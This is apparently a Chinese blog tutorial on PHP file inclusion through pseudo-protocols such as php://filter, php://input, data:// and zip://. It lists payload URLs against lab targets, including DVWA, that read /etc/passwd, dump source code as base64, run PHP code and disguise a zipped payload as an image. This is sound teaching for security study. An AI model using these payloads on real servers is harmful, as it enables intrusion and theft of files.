文件包含-伪协议

文件包含漏洞利用的前提

1.web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

在使用文件包含漏洞时,必须要能知道其绝对路径
方法: 在包含文件处,查看其返回的错误的信息

伪协议文件包含

file://		访问本地文件系统
http://		访问 HTTPs 网址
ftp://		访问 ftp URL 
Php://		访问输入输出流
Zlib://		压缩流
Data://		数据
Ssh2://		security shell2 
Expect://		处理交互式的流
Glob://		查找匹配的文件路径

伪协议后文件必须是绝对路径

file
条件:allow_url_fopen: off/on allow_url_include: off/on

Linux	:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		绝对路径
Windows	:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt		绝对路径

php

php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt		相对路径
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt		绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd

此协议主要用于读取php源代码时会用到
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt			以base64编码将文件内容输出

zip

条件:allow_url_fopen: off/on 		allow_url_include: off/on
	1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
	2 、将 a.php 直接压缩成 a.bz2

http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt 
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt

phar

条件:allow_url_fopen: off/on 		allow_url_include: off/on	 php 版本大于等于php5.3.0

data

allow_url_fopen: on 			allow_url_include: on

http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

input

条件:allow_url_fopen:off/on allow_url_include:on

http://127.0.0.1/LFI.php?file=php://input	
	用post方式提交这个数据 <?php phpinfo()?>

http

allow_url_fopen与allow_url_include同时开启。缺一不可

http://localhost/test.php?file=http://www.baidu.com
  • 12
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
伪协议filter是一种用于文件包含伪协议。它不受allow_url_fopen和allow_url_include参数的影响,可以用来读取本地文件系统或访问HTTP、FTP等协议的URL。 在PHP中,可以使用php://filter伪协议来读取文件内容并对其进行处理。例如,使用php://filter/resource=来读取文件内容,php://filter/read=convert.base64-encode/resource=可以将文件内容以base64编码输出。 通过使用filter伪协议,攻击者可以利用文件包含漏洞来读取敏感文件,包括PHP源代码、配置文件等。因此,在编写PHP代码时,务必要注意对用户输入进行严格过滤和验证,避免文件包含漏洞的利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [文件包含-伪协议](https://blog.csdn.net/Wu000999/article/details/101925271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTF---Web---文件包含---02---rot13伪协议](https://blog.csdn.net/qq_22160557/article/details/119174803)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值